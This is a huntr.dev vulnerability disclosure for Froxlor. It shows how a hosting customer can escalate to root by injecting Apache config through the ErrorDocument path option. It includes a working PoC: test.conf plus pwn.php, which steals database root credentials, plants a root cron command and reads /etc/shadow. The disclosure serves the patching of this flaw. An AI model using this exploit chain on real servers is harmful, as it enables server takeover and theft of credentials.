Lucene search

K
huntrSro0C2A84917-7AC0-4169-81C1-B61E617023DE
HistoryJan 25, 2023 - 3:18 p.m.

Privilege Escalation from customer to root

2023-01-2515:18:45
sro0
www.huntr.dev
14
ubuntu 22.04.1
froxlor
privilege escalation
apache
php scripts
customer
root
configuration manipulation

0.001 Low

EPSS

Percentile

40.9%

Privilege Escalation from Customer to Root

<offtopic>
First of all, sorry for the formatting of the report, but this platform is a mess. I can’t attach any PoC files (added chapters at the end of the report instead), can’t attach any screenshots, nor provide a report as PDF. And btw markdown is only partly supported, e.g. lists don’t work. Perfect, if u want to provide detailed information about multiple steps.
</offtopic>

Setup

1. Fresh Ubuntu 22.04.1 Install
2. Install of froxlor using package 
  (https://docs.froxlor.org/latest/general/installation/apt-package.html)
3. Finish Installation via WebGUI  
   (https://docs.froxlor.org/latest/general/installation/tarball.html#_3-create-privileged-database-user)
  * All Steps with default values (except IP)
4. Initial Service Configuration 
  (https://docs.froxlor.org/latest/admin-guide/configuration/)
  * All Steps with default values
  * Configured services: Apache 2.4, PHP-FPM
5. Add a new customer
  * Default values, with some exceptions:
    * Webspace: 100MiB
    * First name, Last name, Company, Email: filled with random string 
    (not important for further steps)
6. Add a new Domain and assign to previously created customer
  * Default values, with some exceptions:
    * Domain: demo.ubn22.local
    * Customer: web1

Privilege Escalation

1. Putting of files as customer in folder 
  /var/customers/webs/web1/demo.ubn22.local/  (root directory for domain 
  demo.ubn22.local)
  * info.php: phpinfo script to visualize 1st part of privilege escalation
  * pwn.php: script automating 2nd part of privilege escalation   
  * test.conf: apache config file, used in 1st part of privilege escalation
2. Login as customer, "Add path options":
  * Path: /demo.ubn22.local/
  * ErrorDocument 404:
    * usage:
      * intended: Path to a file
      * possible abuse: Multiline Apache config injection
    * In order to submit a multiline value, the form field type was change 
      inside the browser (F12 / Developer Console) from "input" to "textarea". 
      Another possibility is to use some  kind of proxy (e.g. Burp) to 
      manipulate the request or completely create it in console (e.g. curl).
    * Inserted Text:
/"
IncludeOptional	/var/customers/webs/web1/demo.ubn22.local/test.conf
#
      * Line 1: trailing quotation mark to create valid syntax in 
                resulting config
      * Line 2: include previously created (malicious) config, important: 
                usage of "tab" instead of "space" (space will get escaped 
                and would result in invalid configuration)
      * Line 3: Start of comment, required for valid syntax in 
                resulting config
3. Froxlor will create a config file based on parameters from step 2. This 
   will include the previously stored test.conf file from the customer 
   directory inside the Apache configuration.
# 40_froxlor_diroption_92cb6c00f0730c0d82b86cabaf393092.conf 
# Created 25.01.2023 14:42 
# Do NOT manually edit this file, all changes will be deleted after the next domain change at the panel. 
&lt;Directory "/var/customers/webs/web1/demo.ubn22.local/"&gt;
   Options -Indexes
   ErrorDocument 404 "/"
   IncludeOptional	/var/customers/webs/web1/demo.ubn22.local/test.conf
   #"
&lt;/Directory&gt; 
4. Being able to manipulate the Apache configuration, the PHP handler will 
   be modified,  so that it executes in the context of the froxlor 
   webinterface, instead of the customer. 
   The exact path used in line 3 of test.conf is predictable 
   (https://github.com/Froxlor/Froxlor/blob/main/lib/Froxlor/Cron/Http/Php/Fpm.php\#L346)
5. The customer can now execute PHP scripts in the context of the froxlor 
   webinterface. Abusing these new permissions, a code execution as root is 
   possible using multiple ways. 
   It will be demonstrated by abusing the cron tasks of froxlor. To automate 
   the process, the script "pwn.php" has been written. It will execute the 
   following steps:
  * Include "/var/www/html/froxlor/lib/userdata.inc.php" to gain database 
    credentials
  * Prepend a malicious command to config value "croncmdline" inside 
    database, which will get executed by root. To proof the execution as 
    user root, the command "id" will be executed, the file "/etc/shadow" 
    will be read and the output will be stored in the customer domain root 
    directory as "proof.txt".
  * Insert a new task to rebuild cron config inside database.
  * Output "proof.txt" if it exists
  
   After the initial execution of the script, some time needs to pass, in 
   order to get the cron job  executed twice (1st run: write malicious 
   cron job, 2nd run: execute malicious cronjob). By default the cron job
   will get executed every 5 minutes.

info.php

&lt;?php
phpinfo();

pwn.php

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Pwn&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;?php
ini_set('error_reporting', E_ALL);
ini_set('display_errors', true);


require '/var/www/html/froxlor/lib/userdata.inc.php';


echo '$sql:<br /><pre>';
echo var_export($sql, true);
echo '</pre>';


echo '$sql_root:<br /><pre>';
echo var_export($sql_root, true);
echo '</pre>';


echo 'Connecting to MySQL<br />';
$dbh = new PDO('mysql:host=' . $sql_root[0]['host'] . ';dbname=' . $sql['db'], $sql_root[0]['user'], $sql_root[0]['password']);


// pwn config
$pwnOut = getcwd() . DIRECTORY_SEPARATOR . 'proof.txt';
$pwnCmd = 'id &gt; ' . $pwnOut .'; cat /etc/shadow &gt;&gt; ' . $pwnOut .'; ';


echo 'Checking "croncmdline" setting<br />';
$sth = $dbh-&gt;query("SELECT `value` FROM `panel_settings` WHERE `settinggroup` LIKE 'system' AND `varname` LIKE 'croncmdline'");
$row = $sth-&gt;fetch();
if (strstr($row['value'], $pwnCmd) === false) {
	echo 'Patching "croncmdline" setting<br />';
	if (1 !== $dbh-&gt;exec("UPDATE `panel_settings` SET `value` = CONCAT('" . $pwnCmd . "', value) WHERE `settinggroup` LIKE 'system' AND `varname` LIKE 'croncmdline'")) {
		die('patching failed');
	}
	
	echo 'inserting task to rebuild cron config<br />';
	if (1 !== $dbh-&gt;exec("INSERT INTO `panel_tasks` (`id`, `type`, `data`) VALUES (NULL, 99, '')")) {
		die('inserting task failed failed');
	}
} else {
	echo 'Setting "croncmdline" already patched<br />';
}


if (is_file($pwnOut)) {
	echo 'Pwn Proof:<br><pre>';
	readfile($pwnOut);
	echo '</pre>';
} else {
	echo 'Proof not found. Pls wait for cron to get executed twice (default 2x 5 minutes): ';
	echo '<a href>RELOAD</a>';
}

$sth = null;
$dbh = null;
?&gt;
&lt;/body&gt;
&lt;/html&gt;

test.conf

  &lt;FilesMatch \.(php)$&gt;
    &lt;If "-f %{SCRIPT_FILENAME}"&gt;
      SetHandler proxy:unix:/var/lib/apache2/fastcgi/1-froxlor.panel-ubn22.local-php-fpm.socket|fcgi://localhost
    &lt;/If&gt;
  &lt;/FilesMatch&gt;



0.001 Low

EPSS

Percentile

40.9%

Related for C2A84917-7AC0-4169-81C1-B61E617023DE